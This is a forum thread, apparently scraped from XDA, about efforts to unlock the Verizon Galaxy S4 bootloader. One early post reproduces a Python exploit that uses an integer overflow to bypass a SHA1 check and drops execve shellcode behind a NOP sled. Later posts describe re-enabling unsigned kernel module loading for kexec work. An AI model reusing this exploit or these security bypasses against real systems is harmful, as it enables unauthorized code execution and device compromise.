yashsingh1/xdaforums huggingface dataset:
[Verizon Samsung Galaxy S 4] SamuriHL:
And that's why I only buy unlockable devices now. I learned my lesson with the Bionic. Won't ever do it again. I went so far as to switch carriers to open up more options for unlockable phones. Ultimately every person has to decide what their priority list is. I know...everyone wants to be able to buy a consumer edition phone, root it, unlock it, put roms on it, etc, but, that's an unrealistic expectation to have. It's GREAT when that is the reality. But when it's not, and you can't rely on it being the reality, then you're stuck with a locked phone, no roms, potentially waiting on the next root exploit, etc. That's not a lot of fun.
[Verizon Samsung Galaxy S 4] tshelby73:
Well as soon as Verizon throttles my unlimited in switching carriers. Unfortunate for me only other carrier is att in my area but at least their is nexus phones on att
[Verizon Samsung Galaxy S 4] joshm.1219:
You'll have to see how bad the throttling really is. Even a partially throttled unlimited plan is a way better deal than anything else.
[Verizon Samsung Galaxy S 4] sokrboot:
I will delete this post if it's way off base. This is probably nothing and completely unrelated to what we need but...

# Exploit by [MENTION=2025577]esanfelix[/MENTION] ( int3pids )

import struct

# There is an integer overflow when computing num_blocks*16

# With this we bypass the whole SHA1 check

num_blocks = 0x80000671

numchars = (num_blocks << 4) & 0xFFFFFFFF

f = open("/tmp/test", "wb")

print "num_chars is " + str(numchars)

f.write(struct.pack("<I", num_blocks))

sc = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

s = "\x90"*16000+sc

s = s + "\x90"*(numchars - len(s))

f.write(s)

f.close()
[Verizon Samsung Galaxy S 4] Beanerman:
I would be willing to donate to unlock bootloader on my mk2 vzw I545 galaxy s4. Seriously, any dev that can do it, PM me. I know I could buy the developers edition but that's not fun.
[Verizon Samsung Galaxy S 4] NighthawkXL:
This is Eloi Sanfelix's @esanfelix exploit he's showing off at HITCON in Taiwan. I don't know if it's relevant to our situation but it's quite a interesting piece of code. Perhaps someone could weight in on it...
[Verizon Samsung Galaxy S 4] sokrboot:
Isn't the basis of his code that if we know the location of the sha1-generated value and we know the location which the key is stored then we can use "intelligent brute force" like a table to systematically identify and/or exclude parts of the key until we get it right? I thought we hade identified where these values were stored at least for certain bootloader versions. I'm sure there is error in my logic please feel free to (nicely) point it out. Thanks.
[Verizon Samsung Galaxy S 4] dmt010:
yey shellcode
[Verizon Samsung Galaxy S 4] eragon5779:
http://xdaforums.com/verizon-galaxy-s5/general/verizon-wireless-developer-program-t2853345

Please check this out and spread this to other device threads and other forums.
[Verizon Samsung Galaxy S 4] VelosterM14:
lol, not another peep since that post up there directly above... ^^^^^
[Verizon Samsung Galaxy S 4] eragon5779:
Didn't mean to stop the thread lol. I'm still hoping something here is found first. That idea may take a while IF it goes into effect.
[Verizon Samsung Galaxy S 4] VelosterM14:
No worries. I would like to see it happen. It would be pretty crummy to have to pay a fee to get it unlocked, but sometimes it comes down to "time is money" and if paying a one-time fee meant I never had to worry about it again when trying out new ROM's or various mods, or worrying about whether the kernel/bootloader getting tainted would softbrick my S4, it would be worth $25.

I will be rooting for us unlocking it ourselves though. I think the chances might actually be better of that. Even if this chap at VZW likes the idea of a fee to unlock, there may be other folks/depts that say no. I can think of a few million reasons why :)
[Verizon Samsung Galaxy S 4] travisjshepherd:
I'm hoping the silence means we're on the verge of something?
[Verizon Samsung Galaxy S 4] tshelby73:
Right lol
[Verizon Samsung Galaxy S 4] KaM1KaZ3:
There's alot of silence everywhere
[Verizon Samsung Galaxy S 4] skeezer308:
It looks like the VZW GS4 thread has been dying. I mean since you have to have the original firmware version that came on the phone to do any real development. We can't do kernels custom bootloaders we cant even get real AOSP or Cyanogen. I think all of this has killed the interest in or device. Just an opinion but still.

Also. I know this is the bootloader thread, but I don't think it's going anywhere. Samsung/ Verizon won.
[Verizon Samsung Galaxy S 4] tshelby73:
Well I agree. Verizon won. I'm just going to fully upgrade to nc5 with root and be done till I switch carriers and get nexus device. Should have learned my lesson with the Droid X2. It's still locked even though they promised to unlock it. Now their going to throttle my data. I'm pretty much done with Verizon when that happens. Unlimited data was the only thing keeping me around.
[Verizon Samsung Galaxy S 4] RuggedHunter:
I will never give up hope...or stop giving all the encouragement I can, to those brilliant minds that have worked, currently are working, or will in the future work on unlocking our bootloader. I'm not a programmer and I don't have the time to invest in learning what they all know, so I'm very appreciative of their efforts regardless of who "wins."

http://xdaforums.com/showthread.php?p=51095184

But I've come to terms with my stock kernel. Thanks to the developers on the S4 forums, and the many shoulders they stand on...and for powerful tools like Tasker, etc...I'm content with my setup. I will have new priorities when buying my next phone though.

*sigh*

And if/when a key is provided or one of these geniuses gets a custom kernel to boot, I'll probably keep this phone for its lifetime.
[Verizon Samsung Galaxy S 4] sinner822:
You will see an unlock from them once they mess with data. I in no way come near having to worry about throttled data on my unlimited plan. Although just as matter of principal I will be done with Verizon at that time. We make these companies what they are. There may only be 1% of us but, I for one have not been able to keep track of my referrals of phones and services to others. I will be recommending other services in the future. When we the few take our voices elsewhere they lose more than 1‰ of thier customers. This customer that is not relevant has at a minimum gotten them >500 patrons.

I have a finger for Verizon. Bet you can't guess which one........
[Verizon Samsung Galaxy S 4] gsciullo17:
Quick question...say one of the devs on here are able to boot custom kernels or produce a code, will it work for the nc5 boot loader also? And also, I personally believe whole heartedly that this boot loader will get exploited or unlocked. They've done it before. They can do it again. There's no such thing as a boot loader that is impossible to crack. Its just a matter of time...
[Verizon Samsung Galaxy S 4] RuggedHunter:
Any answer would just be a guess. My guess is ryanbg is feeling lonely on this project now...my hunch is that surge has moved on but the unsolved problem will bug him until it's solved, so his foot's in the door still... just a guess, I don't know either one personally. I think either one of them or any other dev is likely working on newer bootloaders... so maybe there's more effort on nc5 right now than on <mk2. Then again maybe a vulnerability is discovered for one of the older bootloaders and was patched in the newer ones.

I'm sticking on mk2. My favorite ROM works best with the version for that bootloader, and if an unlock for a newer bootloader is ever available, I'll just upgrade at that point.
[Verizon Samsung Galaxy S 4] Surge1223:
Not moved on... just been busy and didn't have anything useful to contribute..until today anyways.

I finally was able to re-patch the live kernel to allow insecure modules again. Meaning kexec and trustzone vulnerabilities are back on the table.

The method I used to evoke the patch to the kernel is somewhat involved so I'll release it as a small apk or binary soon. For the time being this only effects vzw users, since I didn't check the att kernel.
[Verizon Samsung Galaxy S 4] RuggedHunter:
Do we (ATT suckers) need to get you any files/dumps/etc? Or just be patient.
[Verizon Samsung Galaxy S 4] ICSthunder27:
Excited!

So for the novice, does this mean that we can do anything differently right now if we have a Verizon GS4(i.e. flash roms)? Or are we one step closer to being able to?
[Verizon Samsung Galaxy S 4] scryan:
They patched this: http://xdaforums.com/showthread.php?t=2578566, he figured out how to do it again.

It means nothing to you, other then people can try and work on Kexec again to get use custom kernels, but its only one part of what is needed to get that to work.

Its a really good thing, but tbh it just gets us back to where we were before.
[Verizon Samsung Galaxy S 4] ICSthunder27:
Ok, thanks for the insight. I can't wait til we get this done, I know it will happen. I need stock Android on my phone, Eclipse and Safestrap just aren't cutting it. Keep it up Surge!
[Verizon Samsung Galaxy S 4] eragon5779:
Will this work on the S3 and S5?
[Verizon Samsung Galaxy S 4] gsciullo17:
And everyone thought it was over...
[Verizon Samsung Galaxy S 4] Hashbang173:
Not to get ahead of my self but if we get kexec working on safestrap it might be possible to use rom slots (Rom slots currently make the kernel blow)
[Verizon Samsung Galaxy S 4] tshelby73:
What bootkoadet mk2 or nc5 or does kexec care. Been thinking of using nc5 bootloader but currently on mk2
[Verizon Samsung Galaxy S 4] MrGooglesFirst:
And I thought this thread was dead

Sent using XDA Free mobile app
[Verizon Samsung Galaxy S 4] Surge1223:
NC5, MK2 already has this feature available via bypasslkm

Unfortunately I was not one who tested with Hash, but I can try to see what's causing this and patch it maybe. I built a version of SS that sets SELinux to Permissive on install, I think I'll make a test version that incorporates insecure modules so kexec testing can continue.

No. Probably would if one of the s3 or s5 devs made the patch though.

The latest stock att s4 boot.img
[Verizon Samsung Galaxy S 4] KaM1KaZ3:
out of curiosity the vzw s5 has same vulnerabilitys just needs a patch? Correct my info here if I'm missing anything I'm asking out of curiosity
[Verizon Samsung Galaxy S 4] Surge1223:
Yes I believe so, I will talk to [MENTION=4395895]BeansTown106[/MENTION] and see for sure.
[Verizon Samsung Galaxy S 4] ahmed.zubair:
Feeling hopefull ... :laugh:

Happy To see u back Surge..:laugh:
[Verizon Samsung Galaxy S 4] TheLoonyRebel:
This is absolutely awesome news [MENTION=4939386]Surge1223[/MENTION]. I acquired an S4 recently as a backup to my Note 3 and really enjoying it. Anyways I know that [MENTION=5868929]hsbadr[/MENTION] has been working on Kexec stuff on the Note 3 side and right now on the kernel/guest kernel phase of stuff. Do you think any of the methods you are using might be of use on the Note 3 perhaps? Thanks so much for the hard work! :D
[Verizon Samsung Galaxy S 4] :
Great Job Surge, hopefully you guys can figure this out. im sure everyone here is waiting for the bootloader unlocked or at least rom slots on ss would be nice.
[Verizon Samsung Galaxy S 4] Surge1223:
Waiting on att nc1 boot.img from someone before release. Also cross-compiled gpe source modules to see if it helps gpe users. Also my GPS now works...it didn't before
[Verizon Samsung Galaxy S 4] muniz_ri:
Here you go and we are all lucky to have you on xda!

https://www.androidfilehost.com/?fid=23487008491965103
[Verizon Samsung Galaxy S 4] SamuriHL:
Can you elaborate on the GPE user comment? I'm not sure I follow. Thanks!!
[Verizon Samsung Galaxy S 4] clothednblack:
GPE

Google play edition ?
[Verizon Samsung Galaxy S 4] skeezer308:
I think he mean what it can do for GPE users and to elaborate on that. I was also wondering if people on Verizon using GPE ROMs would be in that category.
[Verizon Samsung Galaxy S 4] clothednblack:
Oops, my mistake. I'm running a GPE theme on a locked N3 lol. I jumped the gun on that post.
[Verizon Samsung Galaxy S 4] npjohnson:
This is awesome! For those that don't know, Kexec working means a possibility of ROM Slots, these would allow us to dual boot AOSP (Still TW Kernel) and TW ROMS, not quite unlocked boot loader, but extremely useful.

It doesn't mean an Unlocked Bootloader in any sense, but it can (down the road if we can find a way to bypass TIMA, and other security implementations... Possibly the TZ exploit?) mean that other kernels *could* possibly be loaded. So for example, you could load a CM kernel, and ROM using SafeStrap (Not now... but it could someday)
[Verizon Samsung Galaxy S 4] twizzlejr:
So as far as ppl on mk2 are concerned we would have to us the bypasslkm exploit the [MENTION=2471504]jeboo[/MENTION] put together or would it be better to wait and see what surge comes up with on the 4.4.x exploit he just described maybe I'm just backwards or something lol I'm just wanting to know what the easier option would be thanks
[Verizon Samsung Galaxy S 4] npjohnson:
MK2's Bypasslkm never got very far... it looks like Surges NC5 bypasslkm alternative and kexec could be hella awesome.
[Verizon Samsung Galaxy S 4] twizzlejr:
Alright cool so once/if surge gets this working which it sounds like he's close to doing it will I have to update to nc5 or kitkat to be able to use it?
[Verizon Samsung Galaxy S 4] npjohnson:
Most likely NC5, not just Kitkat.
[Verizon Samsung Galaxy S 4] SamuriHL:
Just for clarity, I own an actual S4 GPE so I was wondering if it pertained to that device or simple carrier devices running GPE roms. My guess is that it will allow carrier devices to run the GPE kernel in safestrap which is awesome for you guys, but, I didn't want to make assumptions. Also, I maintain the ODIN images for all new S4 GPE builds so that will be of use to people running GPE roms. ;)
[Verizon Samsung Galaxy S 4] Surge1223:
OK, this is ready to go pending a test by someone on Att with a NC1 boot.img.

Directions:

1. Flash zip

2. Open terminal and type

su
modload

Insert a a compiled and compatible module using insmod, confirm it loaded using lsmod

Download

Here's a zip of modules that work with nc5, most made by yours truly.

https://www.dropbox.com/s/mpyeju0082c6f9m/modules.zip?dl=0

Are you guys unable to load insecure modules? If so I can probably fix that...granted you must have the ability to set selinux Permissive temporarily.

I meant I downloaded the kernel source for gpe, then cross-compiled the gpe modules with vzw nc5 source, that way people with nc5 devices running gpe roms could load the modules (granted manually or via init.d)
[Verizon Samsung Galaxy S 4] Raymondlikesroot:
Holy Cannoli! I lost hope for a while for aosp Roms, but now it's finally becoming true! Thanks surge! U DA man!
[Verizon Samsung Galaxy S 4] kirbee213:
As you can see I have not had enough coffee to be able to properly understand what is being posted [MENTION=4939386]Surge1223[/MENTION]. Can I get the quickie version? I'm on an AT&T NC1 337.
[Verizon Samsung Galaxy S 4] SamuriHL:
No we can run whatever we want. The beauty of being truly unlocked. That's why I was confused when you mentioned gpe. Now I understand fully what you meant.
[Verizon Samsung Galaxy S 4] anthonyg45157:
What a beast surge! Keep up the great fight!:good:
[Verizon Samsung Galaxy S 4] robygt:
Hi, could this solution work on international sgs4? (gti9505)
[Verizon Samsung Galaxy S 4] s44:
That's not locked.
[Verizon Samsung Galaxy S 4] MorrisC2010:
Confirmed working
[Verizon Samsung Galaxy S 4] tshelby73:
So does this help us Verizon users?
[Verizon Samsung Galaxy S 4] sokrboot:
I'm a VZW user and I get an error. Could be user error though. :o
[Verizon Samsung Galaxy S 4] MorrisC2010:
The permission denied error?
[Verizon Samsung Galaxy S 4] scryan:
Do you have compiled unsigned modules you want to load?

A lot of people getting really really excited. This is great work and really helpful to have back, with out this Kexec would likely not be possible... But its not Kexec, its a tool for developers that loads kernel modules. These are similar to drivers in windows, so this basically gives the ability to load drivers. This would allow a kexec module to be loaded IF anyone can get the linux modules compiled for android and configured for the S4, and then defeated what ever other various security checks are made on the kernel (IIRC TZ checks the kernel while the phone is running, not just at boot... so even if you replace the kernel in memory your not left with a working system).

Point being, this isn't Kexec, this is the tool that would load Kexec. Its not like you just load it and run it and cool **** happens. If your not currently trying to load an unsigned module this does nothing for you.

(Beyond that I belive he only posted a ATT version, and specifically said it was only for people with an ATT boot.img so they could test it for him. There is a Verizon version though...)

Your getting an error that you don't have permissions? Are you rooted and did you run SU first?
[Verizon Samsung Galaxy S 4] sokrboot:
yes.
[Verizon Samsung Galaxy S 4] MorrisC2010:
Yes and yes [MENTION=4939386]Surge1223[/MENTION]

I guess it's a bug but I had to chmod the permissions to 0777
[Verizon Samsung Galaxy S 4] gsciullo17:
Quick question. So I'm starting to understand what kexec does from the posts you guys have been showing, but I'm wondering if this is any step close to exploiting the bootloader or if it is only good for safestrap development at the moment
[Verizon Samsung Galaxy S 4] Surge1223:
I have the kexec modules compiled and loading...its not stable though. When I say loading I mean the kernel accepts the module, but the kexec hijack isnt taking place yet. Once I have a base going where I can get debugging output ill github sources. For now, yes kexec is compiled for the S4 on NC5 but working? No, not yet. After loading trying to execute the kexec hijack the phone reboots to a kernel panic. Im trying to find a patch all that I can, but time will tell I guess.

I didn't post all the modules I have, because some are dangerous if you dont know what you're doing. And btw the zip I posted should work on the latest vzw and att s4's. You should not be getting a permissions error, if you are then just type

su
sh /system/bin/modload

I'll look into why there may be permissions issues for some users, but either way executing it as su in the right context will work, worse comes to worse, busybox sh it
[Verizon Samsung Galaxy S 4] SamuriHL:
Impressive work!
[Verizon Samsung Galaxy S 4] MorrisC2010:
Screenshot of running module from Surge's zip file
[Verizon Samsung Galaxy S 4] Surge1223:
Well all the current workaround is doing is reimplementing jeboo's exploit. So by no means is this an original exploit.
[Verizon Samsung Galaxy S 4] npjohnson:
I'm aware. But without you doing the work you've been doing, we wouldnt have unsigned modules right now. Thank you for all the work you've been doing.

You have a PayPal I can donate to? Insecure modules are really gonna be helping me out. XD
[Verizon Samsung Galaxy S 4] Hashbang173:
Click his "Donate to me" button.
[Verizon Samsung Galaxy S 4] npjohnson:
Ditz moment xD. Oops.
[Verizon Samsung Galaxy S 4] dmt010:
10 dollar donation for allowing me to disable certain sensors / drivers from mdk. Or a module that can be loaded to disable them if they aren't kernel modules. Peezeee. There's soo much garbage on my s4 that I want to take care of, I don't want these devices being read from.

I'd like a not soo smart smartless smart phone :)
[Verizon Samsung Galaxy S 4] jeboo:
Nice work surge! Way to keep up the fight =)
[Verizon Samsung Galaxy S 4] scryan:
I never even saw Hash's github with his kexec stuff until someone re-posted it in the "To begin Kexec compatibillity" thread... Was real happy to see that there was even that much of a base. I wasn't really able to pick out where he had failures documented/logged or where he was at... But have you been able to make any head way?

If we can flash roms, load kernels, update radios, ect... I can't see much to worry about over the bootloader technically being locked.

Wish I could be more help, but at least that github had a ton of documentation on android specific and linux kernel stuff, so back to reading through that at least.

(for anyone looking for that github, https://github.com/Hashcode/android_kernel_samsung-jf-common/commits/oss-jfltevzw-mj7 may save some digging)
[Verizon Samsung Galaxy S 4] Surge1223:
The problem I found was that every other persons git had their own flavor of kexec... So it was hard to get a baseline of "normal" so I mixed and maxed with Hashs MJ7 changes and the changes in NC5. Ironically, Samsung seems to have been monitoring his git, I saw more than a couple places where they practically copied his code word for word.
[Verizon Samsung Galaxy S 4] gsciullo17:
I don't know how much this helps, but there was talk about using a Developer Edition S4's aboot or IMEI to try and see how the code for the DEV editions was generated, in hopes these codes worked for ours. This talk was in the forum located here: http://xdaforums.com/verizon-galaxy-s5/general/verizon-wireless-developer-program-t2853345/page13 and I didn't know if this would be of any use. I've seen multiple people on here with a Developer Edition VZW S4, so I would think that we could get somewhere with this. I could be totally wrong about this, but just throwing it out there...
[Verizon Samsung Galaxy S 4] toaster22:
If I understand the OP from Surge correctly, this is an option that would need to be looked into further but is possible. :o
[Verizon Samsung Galaxy S 4] eragon5779:
It was a little different. It unlocked the retail version of the S5 so he could put special firmware from Samsung on it.
[Verizon Samsung Galaxy S 4] gsciullo17:
But, if I'm not mistaken, isn't it possible to do with the S4 as listed in the OP as number 2?